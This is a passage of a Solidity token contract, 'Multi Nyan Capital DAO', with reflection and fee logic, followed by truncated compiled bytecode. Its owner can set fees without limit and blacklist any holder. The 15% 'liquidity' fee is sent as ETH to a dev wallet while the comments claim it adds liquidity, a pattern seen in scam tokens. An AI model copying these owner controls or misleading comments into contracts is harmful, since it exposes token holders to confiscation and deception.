returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract MultiNyanCapitalDAO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Multi Nyan Capital DAO"; string private _symbol = "MNC"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 15; uint256 private _previousLiquidityFee = _liquidityFee; address payable public _devWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address payable devWalletAddress) public { _devWalletAddress = devWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setDevFeeDisabled(bool _devFeeEnabled ) public returns (bool){ require(msg.sender == _devWalletAddress, "Only Dev Address can disable dev fee"); swapAndLiquifyEnabled = _devFeeEnabled; return(swapAndLiquifyEnabled); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function _setdevWallet(address payable devWalletAddress) external onlyOwner() { _devWalletAddress = devWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 tokenBalance = contractTokenBalance; // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(tokenBalance); // <- breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); sendETHTodev(newBalance); // add liquidity to uniswap emit SwapAndLiquify(tokenBalance, newBalance); } function sendETHTodev(uint256 amount) private { _devWalletAddress.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102345760003560e01c80635342acb41161012e578063a0c072d4116100ab578063c49b9a801161006f578063c49b9a801461082d578063d543dbeb14610859578063dd62ed3e14610883578063ea2f0b37146108be578063f2fde38b146108f15761023b565b8063a0c072d414610747578063a457c2d71461077a578063a9059cbb146107b3578063aae11571146107ec578063b425bac3146108185761023b565b80637ded4d6a116100f25780637ded4d6a1461068d57806388f82020146106c05780638da5cb5b146106f35780638ee88c531461070857806395d89b41146107325761023b565b80635342acb4146105e85780636bc87c3a1461061b57806370a0823114610630578063715018a6146106635780637d1db4a5146106785761023b565b80633685d419116101bc578063437823ec11610180578063437823ec146105265780634549b0391461055957806349bd5a5e1461058b5780634a74bb02146105a057806352390c02146105b55761023b565b80633685d41914610448578063395093511461047b5780633b124fe7146104b45780633bd5d173146104c95780634303443d146104f35761023b565b80631694505e116102035780631694505e1461036a57806318160ddd1461039b57806323b872dd146103b05780632d838119146103f3578063313ce5671461041d5761023b565b8063061c82d01461024057806306fdde031461026c578063095ea7b3146102f657806313114a9d146103435761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b5061026a6004803603602081101561026357600080fd5b5035610924565b005b34801561027857600080fd5b50610281610981565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102bb5781810151838201526020016102a3565b50505050905090810190601f1680156102e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030257600080fd5b5061032f6004803603604081101561031957600080fd5b506001600160a01b038135169060200135610a17565b604080519115158252519081900360200190f35b34801561034f57600080fd5b50610358610a35565b60408051918252519081900360200190f35b34801561037657600080fd5b5061037f610a3b565b604080516001600160a01b039092168252519081900360200190f35b3480156103a757600080fd5b50610358610a5f565b3480156103bc57600080fd5b5061032f600480360360608110156103d357600080fd5b506001600160a01b03813581169160208101359091169060400135610a65565b3480156103ff57600080fd5b506103586004803603602081101561041657600080fd5b5035610aec565b34801561042957600080fd5b50610432610b4e565b6040805160ff9092168252519081900360200190f35b34801561045457600080fd5b5061026a6004803603602081101561046b57600080fd5b50356001600160a01b0316610b57565b34801561048757600080fd5b5061032f6004803603604081101561049e57600080fd5b506001600160a01b038135169060200135610d18565b3480156104c057600080fd5b50610358610d66565b3480156104d557600080fd5b5061026a600480360360208110156104ec57600080fd5b5035610d6c565b3480156104ff57600080fd5b5061026a6004803603602081101561051657600080fd5b50356001600160a01b0316610e46565b34801561053257600080fd5b5061026a6004803603602081101561054957600080fd5b50356001600160a01b0316610fce565b34801561056557600080fd5b506103586004803603604081101561057c57600080fd5b5080359060200135151561104a565b34801561059757600080fd5b5061037f6110dc565b3480156105ac57600080fd5b5061032f611100565b3480156105c157600080fd5b5061026a600480360360208110156105d857600080fd5b50356001600160a01b0316611110565b3480156105f457600080fd5b5061032f6004803603602081101561060b57600080fd5b50356001600160a01b0316611296565b34801561062757600080fd5b506103586112b4565b34801561063c57600080fd5b506103586004803603602081101561065357600080fd5b50356001600160a01b03166112ba565b34801561066f57600080fd5b5061026a61131c565b34801561068457600080fd5b506103586113be565b34801561069957600080fd5b5061026a600480360360208110156106b057600080fd5b50356001600160a01b03166113c4565b3480156106cc57600080fd5b5061032f600480360360208110156106e357600080fd5b50356001600160a01b0316611551565b3480156106ff57600080fd5b5061037f61156f565b34801561071457600080fd5b5061026a6004803603602081101561072b57600080fd5b503561157e565b34801561073e57600080fd5b506102816115db565b34801561075357600080fd5b5061026a6004803603602081101561076a57600080fd5b50356001600160a01b031661163c565b34801561078657600080fd5b5061032f6004803603604081101561079d57600080fd5b506001600160a01b0381351690602001356116b6565b3480156107bf57600080fd5b5061032f600480360360408110156107d657600080fd5b506001600160a01b03813516906020013561171e565b3480156107f857600080fd5b5061032f6004803603602081101561080f57600080fd5b50351515611732565b34801561082457600080fd5b5061037f6117a2565b34801561083957600080fd5b5061026a6004803603602081101561085057600080fd5b503515156117b1565b34801561086557600080fd5b5061026a6004803603602081101561087c57600080fd5b503561185c565b34801561088f57600080fd5b50610358600480360360408110156108a657600080fd5b506001600160a01b03813581169160200135166118da565b3480156108ca57600080fd5b5061026a600480360360208110156108e157600080fd5b50356001600160a01b0316611905565b3480156108fd57600080fd5b5061026a6004803603602081101561091457600080fd5b50356001600160a01b031661197e565b61092c611a76565b6000546001600160a01b0390811691161461097c576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b601155565b600e8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a0d5780601f106109e257610100808354040283529160200191610a0d565b820191906000526020600020905b8154815290600101906020018083116109f057829003601f168201915b5050505050905090565b6000610a2b610a24611a76565b8484611a7a565b5060015b92915050565b600d5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600b5490565b6000610a72848484611b66565b610ae284610a7e611a76565b610add85604051806060016040528060288152602001612c6c602891396001600160a01b038a16600090815260056020526040812090610abc611a76565b6001600160a01b031681526020810191909152604001600020549190611edf565b611a7a565b5060019392505050565b6000600c54821115610b2f5760405162461bcd60e51b815260040180806020018281038252602a815260200180612bb1602a913960400191505060405180910390fd5b6000610b39611f76565b9050610b458382611f99565b9150505b919050565b60105460ff1690565b610b5f611a76565b6000546001600160a01b03908116911614610baf576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16610c1c576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600854811015610d1457816001600160a01b031660088281548110610c4057fe5b6000918252602090912001546001600160a01b03161415610d0c57600880546000198101908110610c6d57fe5b600091825260209091200154600880546001600160a01b039092169183908110610c9357fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610ce557fe5b600082815260209020810160001990810180546001600160a01b0319169055019055610d14565b600101610c1f565b5050565b6000610a2b610d25611a76565b84610add8560056000610d36611a76565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611fe2565b60115481565b6000610d76611a76565b6001600160a01b03811660009081526007602052604090205490915060ff1615610dd15760405162461bcd60e51b815260040180806020018281038252602c815260200180612d4a602c913960400191505060405180910390fd5b6000610ddc8361203c565b505050506001600160a01b038416600090815260036020526040902054919250610e089190508261208b565b6001600160a01b038316600090815260036020526040902055600c54610e2e908261208b565b600c55600d54610e3e9084611fe2565b600d55505050565b610e4e611a76565b6000546001600160a01b03908116911614610e9e576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0382161415610efa5760405162461bcd60e51b8152600401808060200182810382526024815260200180612cdd6024913960400191505060405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff1615610f68576040805162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b03166000818152600960205260408120805460ff19166001908117909155600a805491820181559091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319169091179055565b610fd6611a76565b6000546001600160a01b03908116911614611026576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156110a3576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b816110c25760006110b38461203c565b50939550610a2f945050505050565b60006110cd8461203c565b50929550610a2f945050505050565b7f00000000000000000000000013739944ed952080bc51f77e9c83d99c05dcc66681565b601554600160a81b900460ff1681565b611118611a76565b6000546001600160a01b03908116911614611168576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16156111d6576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526003602052604090205415611230576001600160a01b03811660009081526003602052604090205461121690610aec565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b60135481565b6001600160a01b03811660009081526007602052604081205460ff16156112fa57506001600160a01b038116600090815260046020526040902054610b49565b6001600160a01b038216600090815260036020526040902054610a2f90610aec565b611324611a76565b6000546001600160a01b03908116911614611374576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60165481565b6113cc611a76565b6000546001600160a01b0390811691161461141c576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526009602052604090205460ff16611489576040805162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c6973746564000000000000604482015290519081900360640190fd5b60005b600a54811015610d1457816001600160a01b0316600a82815481106114ad57fe5b6000918252602090912001546001600160a01b0316141561154957600a805460001981019081106114da57fe5b600091825260209091200154600a80546001600160a01b03909216918390811061150057fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600990915260409020805460ff19169055600a805480610ce557fe5b60010161148c565b6001600160a01b031660009081526007602052604090205460ff1690565b6000546001600160a01b031690565b611586611a76565b6000546001600160a01b039081169116146115d6576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b601355565b600f8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a0d5780601f106109e257610100808354040283529160200191610a0d565b611644611a76565b6000546001600160a01b03908116911614611694576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a2b6116c3611a76565b84610add85604051806060016040528060258152602001612d7660259139600560006116ed611a76565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611edf565b6000610a2b61172b611a76565b8484611b66565b6015546000906001600160a01b0316331461177e5760405162461bcd60e51b8152600401808060200182810382526024815260200180612b6a6024913960400191505060405180910390fd5b506015805460ff60a81b1916600160a81b9215158302179081905560ff9190041690565b6015546001600160a01b031681565b6117b9611a76565b6000546001600160a01b03908116911614611809576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b60158054821515600160a81b810260ff60a81b199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b611864611a76565b6000546001600160a01b039081169116146118b4576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b6118d460646118ce83600b546120cd90919063ffffffff16565b90611f99565b60165550565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b61190d611a76565b6000546001600160a01b0390811691161461195d576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b611986611a76565b6000546001600160a01b039081169116146119d6576040805162461bcd60e51b81526020600482018190526024820152600080516020612c94833981519152604482015290519081900360640190fd5b6001600160a01b038116611a1b5760405162461bcd60e51b8152600401808060200182810382526026815260200180612bdb6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b038316611abf5760405162461bcd60e51b8152600401808060200182810382526024815260200180612d266024913960400191505060405180910390fd5b6001600160a01b038216611b045760405162461bcd60e51b8152600401808060200182810382526022815260200180612c016022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611bab5760405162461bcd60e51b8152600401808060200182810382526025815260200180612d016025913960400191505060405180910390fd5b6001600160a01b038216611bf05760405162461bcd60e51b8152600401808060200182810382526023815260200180612b8e6023913960400191505060405180910